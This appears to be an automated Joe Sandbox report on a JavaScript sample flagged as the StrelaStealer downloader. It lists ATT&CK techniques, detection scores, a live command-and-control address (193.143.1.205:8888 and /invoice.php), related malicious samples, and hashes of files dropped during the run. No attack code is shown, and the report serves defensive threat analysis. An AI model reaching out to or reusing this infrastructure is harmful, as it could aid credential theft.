Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
247624346306918832.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2652533171.00000279E788C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/4	net.exe, 00000007.00000003.1429200013.00000284FBAFC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437670175.00000284FBAFC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1429200013.00000284FBAFC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437595011.00000284FBAC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1421499523.00000284FBB1C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437670175.00000284FBAFC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1430146505.00000279E7A40000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588855
Start date and time:	2025-01-11 06:19:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	247624346306918832.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 52.6.155.20, 3.233.129.217, 3.219.243.226, 52.22.41.97, 2.23.242.162, 23.209.209.135, 2.22.50.131, 2.22.50.144, 2.16.168.107, 2.16.168.105, 2.22.242.11, 2.22.242.123, 13.107.246.45, 52.149.20.212, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 247624346306918832.js

Simulations

Behavior and APIs

Time	Type	Description
00:20:09	API Interceptor	24x Sleep call for process: powershell.exe modified
00:20:12	API Interceptor	1x Sleep call for process: net.exe modified
00:20:13	API Interceptor	2x Sleep call for process: svchost.exe modified
00:20:20	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	13.107.246.45
	T1#U5b89#U88c5#U53051.0.1.msi	Get hash	malicious	Unknown	Browse	13.107.246.45
	Xre0Nmqk09.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	13.107.246.45
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	xCSONUFhmq.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	5n2U8ZZZbc.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	iJCj3AQIBC.exe	Get hash	malicious	RevengeRAT	Browse	13.107.246.45
	leUmNO9XPu.exe	Get hash	malicious	HawkEye, MailPassView	Browse	13.107.246.45
	2976587-987347589.08.exe	Get hash	malicious	Nitol	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2435213596266856603.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4932101943763795
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaF:cJhXC9lHmutpJyiRDeJ/aUKrDgnm7
MD5:	00847EC1D57BD9DE7E9694A2BEA28038
SHA1:	0139CF3FF7A03793B1E2745049F9FEA5F3118430
SHA-256:	161620574F3DAB5AC3418306185599C1CBEEE0265CAEB5B9D7CD6C61DC955CB3
SHA-512:	86BAD329CF4DDB0D6ECEF6732706A6A420E693938DDB39BA83B0AEFFD4C5C36851FF3EA99255633EE5C7915BB1FC1322812F956FD69CDCCB5BB6605312243CC9
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x81b9dff3, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217229507765497
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:jazaNvFv8V2UW/DLzN/w4wZi
MD5:	42481185479550F513E288187D06DDF3
SHA1:	E35DC401EBA1E1A36BAE774DEC5B7C96475FDE32
SHA-256:	7F98AFE5552F5F99B7DE4C2E32A8957A7846FDFC44202D3559413637D45445A8
SHA-512:	656DEF175A85F2778C9F2D6AE2AC316BE5F75B0729337C5F1FD4E792A7C3B490F9C694F0AA68338E62F089BA43CC4411C848AC8D8A441C407632B0D5D56D4102
Malicious:	false
Preview:	....... ...............X\...;...{......................p.D..........{}......}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{.....................................I.....}Q...................U.....}G..........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08137363461844027
Encrypted:	false
SSDEEP:	3:1NlXKYefZkYIo/fgsCrZClW/tjyt/all+SHY/Xl+/rQLve:T1Kzfkofgs3GEtGAS4M
MD5:	5C679E0388DB3EED261B0EDA0970AB4B
SHA1:	2FAB1CECD9B4394FCE18A8B10298EED6ADAFAB5C
SHA-256:	3807B4C0598048F87638E46ED874783EDF5D89988147249920E10EC0BB2B19F8
SHA-512:	B84EC8FB5EA541DA42A0B290FC7198E1F918E888837EC252BF8E6B34AB07265A54DC4D604437DED210E8C39078FD789AA09E0519E05CB894067CCB463FAE25B4
Malicious:	false
Preview:	.........................................;...{.......}G......{}..............{}......{}.vv_Q.....{}...................U.....}G.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.130765026617501
Encrypted:	false
SSDEEP:	6:iO0Xq2PqLTwi2nKuAl9OmbnIFUtQZmwMJIzkwOqLTwi2nKuAl9OmbjLJ:7iv8wZHAahFUtQ/55TwZHAaSJ
MD5:	CF27162A60590F5FFC53FB3B60AE504E
SHA1:	D92BF63A89EC45776CD5968460B3DC250DEAD9C8
SHA-256:	54A104DB09C57A3CCC43A965782E5F6D229050F0E6D11C5CC9C8ACF1AE61B2F9
SHA-512:	B4658F41292B6DA1680ACDD030BD00609AC8BB01A10EA969A2DAF757A876E5FA478D4153880199B4BE15556742F1B5E7AC36D5C0F4D475567AC84DC6FEC614D7
Malicious:	false
Preview:	2025/01/11-00:20:12.960 1ca4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:20:12.963 1ca4 Recovering log #3.2025/01/11-00:20:12.964 1ca4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.130765026617501
Encrypted:	false
SSDEEP:	6:iO0Xq2PqLTwi2nKuAl9OmbnIFUtQZmwMJIzkwOqLTwi2nKuAl9OmbjLJ:7iv8wZHAahFUtQ/55TwZHAaSJ
MD5:	CF27162A60590F5FFC53FB3B60AE504E
SHA1:	D92BF63A89EC45776CD5968460B3DC250DEAD9C8
SHA-256:	54A104DB09C57A3CCC43A965782E5F6D229050F0E6D11C5CC9C8ACF1AE61B2F9
SHA-512:	B4658F41292B6DA1680ACDD030BD00609AC8BB01A10EA969A2DAF757A876E5FA478D4153880199B4BE15556742F1B5E7AC36D5C0F4D475567AC84DC6FEC614D7
Malicious:	false
Preview:	2025/01/11-00:20:12.960 1ca4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:20:12.963 1ca4 Recovering log #3.2025/01/11-00:20:12.964 1ca4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.106928910028486
Encrypted:	false
SSDEEP:	6:iOaeQL+q2PqLTwi2nKuAl9Ombzo2jMGIFUtwtOSG1ZmwP+QLVkwOqLTwi2nKuAlx:7Wyv8wZHAa8uFUtAOX/nR5TwZHAa8RJ
MD5:	CBC19BD163E2D6EE001F2B571927AD92
SHA1:	E3507EB81DB9EB6396DED589D9F57DC21563FE70
SHA-256:	56862F3A120AA90287275D2D33903489FD88404964B44D1988A012787234736C
SHA-512:	09C8696F35ACABC4681C4470C8F3660B7A603F14EA921CFB1E58978C69BFE47EF9E6421BFA5938B99FEA62B38662F471D70E11914B0EF4AE251831B825F0BAE5
Malicious:	false
Preview:	2025/01/11-00:20:13.048 1da8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:20:13.049 1da8 Recovering log #3.2025/01/11-00:20:13.050 1da8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.106928910028486
Encrypted:	false
SSDEEP:	6:iOaeQL+q2PqLTwi2nKuAl9Ombzo2jMGIFUtwtOSG1ZmwP+QLVkwOqLTwi2nKuAlx:7Wyv8wZHAa8uFUtAOX/nR5TwZHAa8RJ
MD5:	CBC19BD163E2D6EE001F2B571927AD92
SHA1:	E3507EB81DB9EB6396DED589D9F57DC21563FE70
SHA-256:	56862F3A120AA90287275D2D33903489FD88404964B44D1988A012787234736C
SHA-512:	09C8696F35ACABC4681C4470C8F3660B7A603F14EA921CFB1E58978C69BFE47EF9E6421BFA5938B99FEA62B38662F471D70E11914B0EF4AE251831B825F0BAE5
Malicious:	false
Preview:	2025/01/11-00:20:13.048 1da8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:20:13.049 1da8 Recovering log #3.2025/01/11-00:20:13.050 1da8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1cec16bd-5df3-4361-82e4-2b04c1b0682b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.956361515785399
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTWsBdOg2HOcaq3QYiub5P7E4T3y:Y2sRdsWdMHx3QYhbt7nby
MD5:	2DE7AE6302054DB22EDAFE26EF091A32
SHA1:	EAF6CC044090E87879F83FC53F71E32C3B8C67C3
SHA-256:	03DE5269177FAFDC90C2F9929A17FC613103DE6F759F0A3E70311DFD1569F645
SHA-512:	52F9CE2581B6DD57113EC31CA3A00A4017DC46F6A24AA70A4DC5088715A288435FDBC77F5D3D7F2E1EA95F4F8E70C8BCB34E2B7C3E742C81B6538DFAD67144E0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132824637727","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134943},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.956361515785399
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTWsBdOg2HOcaq3QYiub5P7E4T3y:Y2sRdsWdMHx3QYhbt7nby
MD5:	2DE7AE6302054DB22EDAFE26EF091A32
SHA1:	EAF6CC044090E87879F83FC53F71E32C3B8C67C3
SHA-256:	03DE5269177FAFDC90C2F9929A17FC613103DE6F759F0A3E70311DFD1569F645
SHA-512:	52F9CE2581B6DD57113EC31CA3A00A4017DC46F6A24AA70A4DC5088715A288435FDBC77F5D3D7F2E1EA95F4F8E70C8BCB34E2B7C3E742C81B6538DFAD67144E0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132824637727","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134943},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2219419701166965
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzzIQcR:1CDLCmPj8j0/8qKgwPHYPx8xemT8Ozzu
MD5:	6DC33B9F5C49B8076065B39ED1181D56
SHA1:	ADE9425D386095015DBC7AB9FE7BF8E344F73C9C
SHA-256:	691074B3BF951DCC6C0C46AD3EF3820AB7DDC18AD02888D4578FF9B353BEC95D
SHA-512:	EA4190C1AC4DDDB0082E07FF0695049C82DFC3AE71EC35DBE56EDC97DECEA3B6BC11B4BCCA064516DCCBC528506633B674584D16843C2D271722CA50C6F77AB6
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.146645117345462
Encrypted:	false
SSDEEP:	6:iOdQQL+q2PqLTwi2nKuAl9OmbzNMxIFUt6pdSG1ZmwFQLVkwOqLTwi2nKuAl9Omk:7dFyv8wZHAa8jFUt6pdX/qR5TwZHAa8E
MD5:	65E28E407AE5575973433B3C09412D7E
SHA1:	94BAD5A609861C8FEBDB1CFD40711E1444F03FA6
SHA-256:	116EF200CC8C560E3543942A443E4457AAD222CFE8A94B02E8303AF7C88455BC
SHA-512:	408D3C1F8A0BECDB18C7B9749CC0E243E59E34BDB262DD44900482B8C12EAD969B3418C7FFF8614047663A470AEF9014AA1C0A3AE60764DF0E106AD3F33CC858
Malicious:	false
Preview:	2025/01/11-00:20:13.568 1da8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:20:13.569 1da8 Recovering log #3.2025/01/11-00:20:13.570 1da8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.146645117345462
Encrypted:	false
SSDEEP:	6:iOdQQL+q2PqLTwi2nKuAl9OmbzNMxIFUt6pdSG1ZmwFQLVkwOqLTwi2nKuAl9Omk:7dFyv8wZHAa8jFUt6pdX/qR5TwZHAa8E
MD5:	65E28E407AE5575973433B3C09412D7E
SHA1:	94BAD5A609861C8FEBDB1CFD40711E1444F03FA6
SHA-256:	116EF200CC8C560E3543942A443E4457AAD222CFE8A94B02E8303AF7C88455BC
SHA-512:	408D3C1F8A0BECDB18C7B9749CC0E243E59E34BDB262DD44900482B8C12EAD969B3418C7FFF8614047663A470AEF9014AA1C0A3AE60764DF0E106AD3F33CC858
Malicious:	false
Preview:	2025/01/11-00:20:13.568 1da8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:20:13.569 1da8 Recovering log #3.2025/01/11-00:20:13.570 1da8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438028288490162
Encrypted:	false
SSDEEP:	384:ye+ci5GiiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pSurVgazUpUTTGt
MD5:	6F422F9D4F405E4156BD75B5A6FB0478
SHA1:	2861725449C30BECEA9952880902A9A81E5D9018
SHA-256:	3CA41F671354C07104E2C74A12E8F9466DECFA5D39B35DB596F25E0AC6AC13D1
SHA-512:	E54090F8AEBF433C11BC23C122A92E9956B44B9DA46D20DCFF3325E58C829725ADC628FF6D563A81877F12D3AC9758636336DC09343C98909CDBA10E281AF061
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7657433578321635
Encrypted:	false
SSDEEP:	48:7MqJioyVeioyDoy1C7oy16oy1gKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OI:7lJue5vXjBixb9IVXEBodRBkF
MD5:	6F01E1752E785484EE59264AB68E8C46
SHA1:	62F87DFCB70864F4A74D1BBFD9BE3927C0EEECDD
SHA-256:	DD38D9CDA3AFEF95D2085350AD723DF2C7E26028093BA61F070BE7B110AA0578
SHA-512:	7952BE3F014F533E4D1DB1EA278AAA90CC7967BFA7EAE6069C4CA3D76A5D80A78F87D1D5C7832B11CA3700CD98710F2180ACC97C14073AF5A6B8859C6E40D6E4
Malicious:	false
Preview:	.... .c....."..U...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
